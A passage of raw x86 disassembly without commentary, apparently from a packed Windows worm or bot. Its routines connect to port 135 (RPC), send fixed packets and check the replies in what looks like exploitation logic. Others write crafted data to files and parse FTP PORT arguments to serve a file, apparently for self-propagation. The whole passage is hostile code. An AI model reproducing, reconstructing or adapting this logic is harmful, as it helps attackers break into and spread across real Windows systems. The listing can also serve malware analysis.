		mov	[ebp+var_4], eax
		call	sub_4114C4	; malloc
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jnz	short loc_40CE43


loc_40CE3F:				; CODE XREF: sub_40CDDF+A4j
		xor	eax, eax
		jmp	short loc_40CEB9
; ---------------------------------------------------------------------------


loc_40CE43:				; CODE XREF: sub_40CDDF+5Ej
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	dword_412070	; WriteFile
		push	[ebp+arg_20]
		test	eax, eax
		jnz	short loc_40CE85
		call	sub_4114CA	; free
		pop	ecx
		jmp	short loc_40CE3F
; ---------------------------------------------------------------------------


loc_40CE85:				; CODE XREF: sub_40CDDF+9Cj
		call	sub_4114CA	; free
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40CEB6
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40CDDF
		add	esp, 2Ch
		jmp	short loc_40CEB9
; ---------------------------------------------------------------------------


loc_40CEB6:				; CODE XREF: sub_40CDDF+B0j
		push	1
		pop	eax


loc_40CEB9:				; CODE XREF: sub_40CDDF+62j
					; sub_40CDDF+D5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CDDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEBE	proc near		; CODE XREF: sub_40D3D6+6p
					; sub_40D3D6+16p

var_CEBC	= byte ptr -0CEBCh
var_8EBC	= byte ptr -8EBCh
var_7364	= byte ptr -7364h
var_5364	= byte ptr -5364h
var_3364	= byte ptr -3364h
var_1364	= dword	ptr -1364h
var_A68		= byte ptr -0A68h
var_A63		= byte ptr -0A63h
var_A24		= byte ptr -0A24h
var_5B8		= byte ptr -5B8h
var_3B8		= byte ptr -3B8h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_6C		= byte ptr -6Ch
var_68		= byte ptr -68h
var_67		= byte ptr -67h
var_66		= byte ptr -66h
var_65		= byte ptr -65h
var_64		= dword	ptr -64h
var_60		= word ptr -60h
var_5E		= word ptr -5Eh
var_5C		= dword	ptr -5Ch
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= byte ptr -4Ah
var_48		= byte ptr -48h
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1F		= byte ptr -1Fh
var_1E		= byte ptr -1Eh
var_1D		= byte ptr -1Dh
var_1C		= dword	ptr -1Ch
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_C		= word ptr -0Ch
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 0CEBCh
		call	sub_411540
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_41920C, edi
		jz	loc_40D3CE
		cmp	dword_419214, edi
		jz	loc_40D3CE
		mov	esi, [ebp+arg_0]
		push	dword ptr [esi+2Ah]
		lea	eax, [esi+146h]
		push	eax
		lea	eax, [esi+0C6h]
		push	eax
		lea	eax, [ebp+var_5B8]
		push	dword ptr [esi+0C2h]
		push	200h
		push	eax
		call	sub_40E2C1
		add	esp, 18h
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_40CF41
		add	esi, 42h
		push	2
		push	esi
		mov	[ebp+arg_0], esi
		call	sub_40D42D
		pop	ecx
		cmp	eax, 3
		pop	ecx
		jz	short loc_40CF48
		push	1
		push	esi
		call	sub_40D42D
		pop	ecx
		cmp	eax, 3
		pop	ecx
		jz	short loc_40CF48


loc_40CF41:				; CODE XREF: sub_40CEBE+5Dj
		xor	eax, eax
		jmp	loc_40D3D1
; ---------------------------------------------------------------------------


loc_40CF48:				; CODE XREF: sub_40CEBE+72j
					; sub_40CEBE+81j
		push	32Bh
		lea	eax, [ebp+var_3B8]
		push	edi
		push	eax
		call	sub_4114E8	; memset
		mov	esi, 0DACh
		lea	eax, [ebp+var_1364]
		push	esi
		push	edi
		push	eax
		call	sub_4114E8	; memset
		push	1B58h
		lea	eax, [ebp+var_8EBC]
		push	edi
		push	eax
		call	sub_4114E8	; memset
		push	0DABh
		lea	eax, [ebp+var_1364]
		push	41h
		push	eax
		call	sub_4114E8	; memset
		mov	eax, [ebp+arg_4]
		push	5
		push	offset dword_416AC0
		lea	ebx, [eax+eax*8]
		mov	[ebp+var_8], ebx
		mov	eax, dword ptr (loc_416B1A+2)[ebx]
		mov	ecx, dword ptr (loc_416B17+1)[ebx]
		mov	[ebp+eax+var_1364], ecx
		lea	eax, [ebp+var_A68]
		push	eax
		call	sub_4114D0	; memcpy
		push	3Fh
		lea	eax, [ebp+var_A63]
		push	offset sub_416AD8
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 48h
		lea	eax, [ebp+var_3B8]
		push	eax
		lea	eax, [ebp+var_5B8]
		push	[ebp+var_4]
		push	eax
		call	sub_40CDAE
		lea	eax, [ebp+var_3B8]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_3B8]
		push	eax
		lea	eax, [ebp+var_A24]
		push	eax
		call	sub_4114D0	; memcpy
		lea	eax, [ebp+var_3B8]
		push	eax
		call	sub_4114BE	; strlen
		and	[ebp+eax+var_A24], 0
		add	esp, 20h
		xor	ecx, ecx
		lea	eax, [ebp+var_8EBC]


loc_40D02C:				; CODE XREF: sub_40CEBE+17Fj
		movzx	dx, byte ptr [ebp+ecx+var_1364]
		mov	[eax], dx
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, esi
		jb	short loc_40D02C
		push	[ebp+arg_0]
		mov	esi, 2000h
		lea	eax, [ebp+var_7364]
		push	offset dword_416B80
		push	esi
		push	eax
		call	sub_41152E	; _snprintf
		lea	eax, [ebp+var_7364]
		push	esi
		push	eax
		lea	eax, [ebp+var_CEBC]
		push	eax
		call	sub_4117BA	; mbstowcs
		push	offset dword_416B7C
		push	[ebp+arg_0]
		call	sub_411924	; _strcmpi
		add	esp, 24h
		test	eax, eax
		jz	short loc_40D0D8
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3364]
		push	offset dword_416B74
		push	esi
		push	eax
		call	sub_41152E	; _snprintf
		push	esi
		lea	eax, [ebp+var_3364]
		push	offset dword_416B6C
		push	eax
		call	sub_4117B4	; strncat
		push	20h
		lea	eax, [ebp+var_8C]
		push	edi
		push	eax
		call	sub_4114E8	; memset
		lea	eax, [ebp+var_3364]
		add	esp, 28h
		mov	[ebp+var_78], eax
		mov	eax, offset byte_4191D0
		push	edi
		push	eax
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	dword_41920C


loc_40D0D8:				; CODE XREF: sub_40CEBE+1C1j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5364]
		push	offset dword_416B74
		push	esi
		push	eax
		call	sub_41152E	; _snprintf
		push	esi
		lea	eax, [ebp+var_5364]
		push	offset dword_416B60
		push	eax
		call	sub_4117B4	; strncat
		add	esp, 1Ch
		lea	eax, [ebp+var_5364]
		push	edi
		push	edi
		push	3
		push	edi
		push	3
		push	40000000h
		push	eax
		call	dword_412048	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_40D12A


loc_40D123:				; CODE XREF: sub_40CEBE+370j
		xor	esi, esi
		jmp	loc_40D3BF
; ---------------------------------------------------------------------------


loc_40D12A:				; CODE XREF: sub_40CEBE+263j
		push	48h
		lea	eax, [ebp+var_68]
		push	edi
		push	eax
		call	sub_4114E8	; memset
		push	10h
		and	[ebp+var_67], 0
		pop	esi
		mov	[ebp+var_68], 5
		push	1
		mov	[ebp+var_66], 0Bh
		pop	eax
		mov	[ebp+var_65], 3
		mov	[ebp+var_5C], eax
		mov	[ebp+var_50], eax
		mov	[ebp+var_4A], al
		mov	[ebp+var_38], eax
		push	esi
		lea	eax, [ebp+var_48]
		push	offset dword_416B4C
		push	eax
		mov	[ebp+var_64], esi
		mov	[ebp+var_60], 48h
		mov	[ebp+var_5E], di
		mov	[ebp+var_58], 10B8h
		mov	[ebp+var_56], 10B8h
		mov	[ebp+var_54], edi
		mov	[ebp+var_4C], di
		call	sub_4114D0	; memcpy
		push	esi
		lea	eax, [ebp+var_34]
		push	offset dword_416B38
		push	eax
		mov	[ebp+var_24], 2
		call	sub_4114D0	; memcpy
		add	esp, 24h
		lea	eax, [ebp+var_6C]
		push	edi
		push	eax
		lea	eax, [ebp+var_68]
		push	48h
		push	eax
		push	[ebp+var_4]
		call	dword_412070	; WriteFile
		test	eax, eax
		jz	short loc_40D225
		lea	eax, [ebp+var_CEBC]
		push	eax
		call	sub_4117A8	; wcslen
		lea	eax, [eax+eax+12h]
		pop	ecx
		test	al, 3
		mov	[ebp+arg_4], eax
		jz	short loc_40D1D9


loc_40D1D0:				; CODE XREF: sub_40CEBE+319j
		inc	[ebp+arg_4]
		test	byte ptr [ebp+arg_4], 3
		jnz	short loc_40D1D0


loc_40D1D9:				; CODE XREF: sub_40CEBE+310j
		cmp	byte ptr (loc_416B1F+1)[ebx], 0
		push	4
		pop	esi
		jz	short loc_40D1E8
		add	[ebp+arg_4], esi


loc_40D1E8:				; CODE XREF: sub_40CEBE+325j
		lea	eax, [ebp+var_8EBC]
		push	eax
		call	sub_4117A8	; wcslen
		pop	ecx
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax*2+0Eh]


loc_40D1FC:				; CODE XREF: sub_40CEBE+343j
		test	al, 3
		jz	short loc_40D203
		inc	eax
		jmp	short loc_40D1FC
; ---------------------------------------------------------------------------


loc_40D203:				; CODE XREF: sub_40CEBE+340j
		add	eax, 8
		cmp	byte ptr (loc_416B1F+1)[ebx], 0
		jz	short loc_40D213
		add	eax, esi
		jmp	short loc_40D215
; ---------------------------------------------------------------------------


loc_40D213:				; CODE XREF: sub_40CEBE+34Fj
		inc	eax
		inc	eax


loc_40D215:				; CODE XREF: sub_40CEBE+353j
		push	eax
		mov	[ebp+arg_4], eax
		call	sub_4114C4	; malloc
		mov	ebx, eax
		pop	ecx
		cmp	ebx, edi
		jnz	short loc_40D233


loc_40D225:				; CODE XREF: sub_40CEBE+2F8j
		push	[ebp+var_4]
		call	dword_4120AC	; CloseHandle
		jmp	loc_40D123
; ---------------------------------------------------------------------------


loc_40D233:				; CODE XREF: sub_40CEBE+365j
		push	[ebp+arg_4]
		push	edi
		push	ebx
		call	sub_4114E8	; memset
		push	esi
		push	offset dword_416AC8
		push	ebx
		call	sub_4114D0	; memcpy
		lea	eax, [ebp+var_CEBC]
		push	eax
		call	sub_4117A8	; wcslen
		inc	eax
		mov	[ebx+0Ch], eax
		mov	[ebx+8], edi
		mov	eax, [ebx+0Ch]
		mov	[ebx+4], eax
		lea	eax, [ebp+var_CEBC]
		push	eax
		lea	eax, [ebx+10h]
		push	eax
		call	sub_4117AE	; wcscpy
		lea	eax, [ebp+var_CEBC]
		push	eax
		call	sub_4117A8	; wcslen
		lea	eax, [eax+eax+12h]
		add	esp, 28h
		test	al, 3
		mov	[ebp+arg_0], eax
		jz	short loc_40D294


loc_40D28C:				; CODE XREF: sub_40CEBE+3D1j
		inc	eax
		test	al, 3
		jnz	short loc_40D28C
		mov	[ebp+arg_0], eax


loc_40D294:				; CODE XREF: sub_40CEBE+3CCj
		mov	ecx, [ebp+var_8]
		cmp	byte ptr (loc_416B1F+1)[ecx], 0
		jz	short loc_40D2B7
		push	esi
		add	eax, ebx
		push	offset dword_416AD0
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 0Ch
		add	[ebp+arg_0], esi
		mov	eax, [ebp+arg_0]


loc_40D2B7:				; CODE XREF: sub_40CEBE+3E0j
		lea	esi, [eax+ebx]
		lea	eax, [ebp+var_8EBC]
		push	eax
		call	sub_4117A8	; wcslen
		inc	eax
		add	[ebp+arg_0], 0Ch
		mov	[esi+8], eax
		mov	[esi+4], edi
		mov	eax, [esi+8]
		mov	[esi], eax
		lea	eax, [ebp+var_8EBC]
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, ebx
		push	eax
		call	sub_4117AE	; wcscpy
		lea	eax, [ebp+var_8EBC]
		push	eax
		call	sub_4117A8	; wcslen
		mov	ecx, [ebp+arg_0]
		add	esp, 10h
		lea	eax, [ecx+eax*2+2]
		test	al, 3
		mov	[ebp+arg_0], eax
		jz	short loc_40D30D


loc_40D305:				; CODE XREF: sub_40CEBE+44Aj
		inc	eax
		test	al, 3
		jnz	short loc_40D305
		mov	[ebp+arg_0], eax


loc_40D30D:				; CODE XREF: sub_40CEBE+445j
		push	8
		add	eax, ebx
		push	edi
		push	eax
		call	sub_4114E8	; memset
		mov	eax, [ebp+arg_0]
		mov	esi, [ebp+var_8]
		add	esp, 0Ch
		add	eax, 8
		cmp	byte ptr (loc_416B1F+1)[esi], 0
		jz	short loc_40D332
		mov	[eax+ebx], edi
		jmp	short loc_40D338
; ---------------------------------------------------------------------------


loc_40D332:				; CODE XREF: sub_40CEBE+46Dj
		mov	word ptr [eax+ebx], 1


loc_40D338:				; CODE XREF: sub_40CEBE+472j
		push	18h
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		call	sub_4114E8	; memset
		add	esp, 0Ch
		mov	cl, byte ptr (loc_416B1F+1)[esi]
		and	[ebp+var_1F], 0
		and	[ebp+var_1E], 0
		push	1
		mov	[ebp+var_16], di
		pop	eax
		mov	[ebp+var_C], di
		push	eax
		push	10B8h
		push	[ebp+arg_4]
		lea	esi, [ebp+var_20]
		neg	cl
		sbb	ecx, ecx
		push	ebx
		and	ecx, 2
		sub	esp, 18h
		add	ecx, 19h
		mov	[ebp+var_20], 5
		push	6
		mov	[ebp+var_A], cx
		pop	ecx
		mov	[ebp+var_1D], 3
		mov	edi, esp
		push	[ebp+var_4]
		mov	[ebp+var_1C], 10h
		mov	[ebp+var_14], eax
		rep movsd
		call	sub_40CDDF
		add	esp, 2Ch
		test	eax, eax
		jnz	short loc_40D3AA
		xor	esi, esi
		jmp	short loc_40D3AD
; ---------------------------------------------------------------------------


loc_40D3AA:				; CODE XREF: sub_40CEBE+4E6j
		push	1
		pop	esi


loc_40D3AD:				; CODE XREF: sub_40CEBE+4EAj
		push	[ebp+var_4]
		call	dword_4120AC	; CloseHandle
		push	ebx
		call	sub_4114CA	; free
		pop	ecx
		xor	edi, edi


loc_40D3BF:				; CODE XREF: sub_40CEBE+267j
		push	edi
		push	edi
		push	[ebp+var_78]
		call	dword_419214
		mov	eax, esi
		jmp	short loc_40D3D1
; ---------------------------------------------------------------------------


loc_40D3CE:				; CODE XREF: sub_40CEBE+18j
					; sub_40CEBE+24j
		push	1
		pop	eax


loc_40D3D1:				; CODE XREF: sub_40CEBE+85j
					; sub_40CEBE+50Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CEBE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D3D6	proc near		; DATA XREF: kkrunchy:00417F5Co
					; kkrunchy:00417FD0o

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_40CEBE
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short locret_40D3F3
		push	eax
		push	[esp+4+arg_0]
		call	sub_40CEBE
		pop	ecx
		pop	ecx

locret_40D3F3:				; CODE XREF: sub_40D3D6+Fj
		retn
sub_40D3D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D3F4	proc near		; CODE XREF: sub_40D42D+131p
					; sub_40D42D+15Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_40D422


loc_40D405:				; CODE XREF: sub_40D3F4+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41178A	; memcmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D428
		inc	esi
		cmp	esi, edi
		jl	short loc_40D405


loc_40D422:				; CODE XREF: sub_40D3F4+Fj
		xor	eax, eax


loc_40D424:				; CODE XREF: sub_40D3F4+37j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40D428:				; CODE XREF: sub_40D3F4+27j
		push	1
		pop	eax
		jmp	short loc_40D424
sub_40D3F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D42D	proc near		; CODE XREF: sub_40BC10+19p
					; sub_40CEBE+68p ...

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_411540
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		dec	eax
		push	edi
		jz	short loc_40D478
		dec	eax
		jz	short loc_40D44E
		dec	eax


loc_40D447:				; CODE XREF: sub_40D42D+61j
		xor	eax, eax


loc_40D449:				; CODE XREF: sub_40D42D+49j
					; sub_40D42D+176j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D44E:				; CODE XREF: sub_40D42D+17j
		push	2710h
		push	0
		push	offset a5000	; "5000"
		push	[ebp+arg_0]
		call	sub_403C04
		mov	esi, eax
		push	esi
		call	sub_403D70
		mov	eax, esi
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_40D449
; ---------------------------------------------------------------------------


loc_40D478:				; CODE XREF: sub_40D42D+14j
		push	6
		push	1
		push	2
		call	dword_41222C	; socket
		mov	edi, eax
		or	ebx, 0FFFFFFFFh
		cmp	edi, ebx
		mov	[ebp+arg_4], edi
		jz	short loc_40D447
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_4114E8	; memset
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_412248	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_412254	; inet_addr
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_412208	; connect
		cmp	eax, ebx
		jz	loc_40D598
		push	esi
		push	48h
		push	offset dword_416B88
		push	edi
		call	dword_412220	; send
		cmp	eax, ebx
		jz	loc_40D598
		mov	edi, 2000h
		push	esi
		mov	esi, dword_412258
		lea	eax, [ebp+var_2010]
		push	edi
		push	eax
		push	[ebp+arg_4]
		call	esi	; recv
		cmp	eax, ebx
		jnz	short loc_40D512


loc_40D50B:				; CODE XREF: sub_40D42D+ECj
					; sub_40D42D+102j ...
		xor	esi, esi
		jmp	loc_40D598
; ---------------------------------------------------------------------------


loc_40D512:				; CODE XREF: sub_40D42D+DCj
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_40D50B
		push	0
		push	18h
		push	offset dword_416BD4
		push	[ebp+arg_4]
		call	dword_412220	; send
		cmp	eax, ebx
		jz	short loc_40D50B
		push	0
		lea	eax, [ebp+var_2010]
		push	edi
		push	eax
		push	[ebp+arg_4]
		call	esi	; recv
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_40D50B
		cmp	[ebp+var_200E],	2
		jnz	short loc_40D50B
		push	10h
		push	offset loc_416BF0
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_40D3F4
		add	esp, 10h
		test	eax, eax
		jz	short loc_40D578
		xor	eax, eax
		cmp	esi, 12Ch
		setnl	al
		inc	eax
		jmp	short loc_40D596
; ---------------------------------------------------------------------------


loc_40D578:				; CODE XREF: sub_40D42D+13Bj
		push	10h
		push	offset dword_416C04
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_40D3F4
		add	esp, 10h
		neg	eax
		sbb	eax, eax
		and	eax, 3


loc_40D596:				; CODE XREF: sub_40D42D+149j
		mov	esi, eax


loc_40D598:				; CODE XREF: sub_40D42D+A4j
					; sub_40D42D+BBj ...
		push	[ebp+arg_4]
		call	dword_412240	; closesocket
		mov	eax, esi
		jmp	loc_40D449
sub_40D42D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D5A8	proc near		; CODE XREF: sub_40BCBD+A9p
					; sub_40C135+325p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jnz	short loc_40D5DD
		xor	esi, esi
		cmp	[ebp+arg_4], ebx
		jbe	short loc_40D639


loc_40D5BE:				; CODE XREF: sub_40D5A8+31j
		push	20h
		push	ebx
		call	sub_40B459
		mov	al, byte_416C20[eax+eax*4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		mov	[esi+ecx], al
		inc	esi
		cmp	esi, [ebp+arg_4]
		jb	short loc_40D5BE
		jmp	short loc_40D639
; ---------------------------------------------------------------------------


loc_40D5DD:				; CODE XREF: sub_40D5A8+Dj
		cmp	esi, 7Fh
		jnz	short loc_40D608
		xor	esi, esi
		cmp	[ebp+arg_4], ebx
		jbe	short loc_40D639


loc_40D5E9:				; CODE XREF: sub_40D5A8+5Cj
		push	5
		push	ebx
		call	sub_40B459
		mov	al, byte_416C20[eax+eax*4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		mov	[esi+ecx], al
		inc	esi
		cmp	esi, [ebp+arg_4]
		jb	short loc_40D5E9
		jmp	short loc_40D639
; ---------------------------------------------------------------------------


loc_40D608:				; CODE XREF: sub_40D5A8+38j
		xor	edi, edi
		cmp	[ebp+arg_4], ebx
		jbe	short loc_40D639


loc_40D60F:				; CODE XREF: sub_40D5A8+8Fj
		push	20h
		push	ebx
		call	sub_40B459
		movsx	eax, al
		pop	ecx
		lea	eax, [eax+eax*4]
		pop	ecx
		test	dword_416C21[eax], esi
		jnz	short loc_40D634
		mov	ecx, [ebp+arg_0]
		mov	al, byte_416C20[eax]
		mov	[edi+ecx], al
		inc	edi


loc_40D634:				; CODE XREF: sub_40D5A8+7Dj
		cmp	edi, [ebp+arg_4]
		jb	short loc_40D60F


loc_40D639:				; CODE XREF: sub_40D5A8+14j
					; sub_40D5A8+33j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40D5A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D63E	proc near		; CODE XREF: sub_40D6E0+40Ap

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		push	esi
		push	0EA60h
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_403C04
		mov	ebx, eax
		add	esp, 10h
		test	ebx, ebx
		jz	short loc_40D687
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D687
		push	offset aRb	; "rb"
		push	offset dword_419ECC
		call	sub_411506	; fopen
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jnz	short loc_40D68D
		push	ebx
		call	sub_403D92
		pop	ecx


loc_40D687:				; CODE XREF: sub_40D63E+24j
					; sub_40D63E+29j
		xor	eax, eax


loc_40D689:				; CODE XREF: sub_40D63E+A0j
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D68D:				; CODE XREF: sub_40D63E+40j
		push	edi


loc_40D68E:				; CODE XREF: sub_40D63E+7Fj
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40D6CA
		push	esi
		push	200h
		lea	eax, [ebp+var_200]
		push	1
		push	eax
		call	sub_411510	; fread
		mov	edi, eax
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		call	sub_403D9D
		add	esp, 1Ch
		cmp	edi, eax
		jz	short loc_40D68E
		push	ebx
		call	sub_403D92
		pop	ecx
		xor	edi, edi
		jmp	short loc_40D6D4
; ---------------------------------------------------------------------------


loc_40D6CA:				; CODE XREF: sub_40D63E+54j
		push	ebx
		call	sub_403D70
		pop	ecx
		push	1
		pop	edi


loc_40D6D4:				; CODE XREF: sub_40D63E+8Aj
		push	esi
		call	sub_411500	; fclose
		pop	ecx
		mov	eax, edi
		pop	edi
		jmp	short loc_40D689
sub_40D63E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D6E0	proc near		; DATA XREF: sub_40DD36+CBo

var_530		= byte ptr -530h
var_330		= byte ptr -330h
var_32F		= byte ptr -32Fh
var_230		= byte ptr -230h
var_30		= byte ptr -30h
var_2C		= byte ptr -2Ch
var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 530h
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		push	offset dword_4177D0
		lea	eax, [ebp+var_230]
		push	esi
		push	eax
		call	sub_41152E	; _snprintf
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_4114BE	; strlen
		mov	ebx, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_230]
		push	eax
		push	ebx
		call	sub_403D9D
		mov	dl, byte_4191D0
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_32F]
		mov	[ebp+var_330], dl
		rep stosd
		stosw
		stosb
		xor	eax, eax
		lea	edi, [ebp+var_13]
		mov	[ebp+var_14], dl
		push	0EA60h
		stosd
		stosb
		xor	eax, eax
		push	ebx
		mov	[ebp+arg_0], eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], eax
		call	sub_403E1F
		add	esp, 24h


loc_40D75F:				; CODE XREF: sub_40D6E0+3C2j
		test	eax, eax
		jz	loc_40DB99
		lea	eax, [ebp+var_530]
		push	esi
		push	eax
		push	ebx
		call	sub_403DB2
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40DB99
		cmp	eax, 0FFFFFFFFh
		jz	loc_40DB99
		lea	eax, [ebp+var_C]
		mov	edi, offset dword_4177CC
		push	eax
		lea	eax, [ebp+var_530]
		push	edi
		push	eax
		call	sub_405E4F
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	loc_40DA95
		lea	eax, [ebp+var_C]
		push	eax
		push	edi
		push	0
		call	sub_405E4F
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		test	eax, eax
		jnz	short loc_40D7CA
		mov	[ebp+var_4], offset byte_4191D0


loc_40D7CA:				; CODE XREF: sub_40D6E0+E1j
		lea	eax, [ebp+var_C]
		push	eax
		push	edi
		push	0
		call	sub_405E4F
		push	[ebp+var_8]
		call	sub_40A64A
		add	esp, 10h
		cmp	eax, dword_4177C0
		jnz	short loc_40D7FA
		mov	[ebp+arg_0], 1
		push	offset dword_4177B8
		jmp	loc_40DA6B
; ---------------------------------------------------------------------------


loc_40D7FA:				; CODE XREF: sub_40D6E0+107j
		cmp	eax, dword_4177AC
		jnz	short loc_40D813
		mov	[ebp+var_18], 1
		push	offset dword_4177A4
		jmp	loc_40DA6B
; ---------------------------------------------------------------------------


loc_40D813:				; CODE XREF: sub_40D6E0+120j
		cmp	[ebp+arg_0], 0
		jz	loc_40DA95
		cmp	[ebp+var_18], 0
		jz	loc_40DA95
		cmp	eax, dword_417798
		jnz	short loc_40D839
		push	offset dword_417790
		jmp	loc_40DA6B
; ---------------------------------------------------------------------------


loc_40D839:				; CODE XREF: sub_40D6E0+14Dj
		cmp	eax, dword_417784
		jnz	short loc_40D84B
		push	offset dword_41777C
		jmp	loc_40DA6B
; ---------------------------------------------------------------------------


loc_40D84B:				; CODE XREF: sub_40D6E0+15Fj
		cmp	eax, dword_417774
		jnz	short loc_40D85D
		push	offset dword_417768
		jmp	loc_40DA6B
; ---------------------------------------------------------------------------


loc_40D85D:				; CODE XREF: sub_40D6E0+171j
		cmp	eax, dword_41775C
		jz	loc_40D8F4
		cmp	eax, dword_417750
		jnz	short loc_40D87B
		push	offset dword_417748
		jmp	loc_40DA6B
; ---------------------------------------------------------------------------


loc_40D87B:				; CODE XREF: sub_40D6E0+18Fj
		cmp	eax, dword_41773C
		jnz	short loc_40D8FE
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	[ebp+var_4]
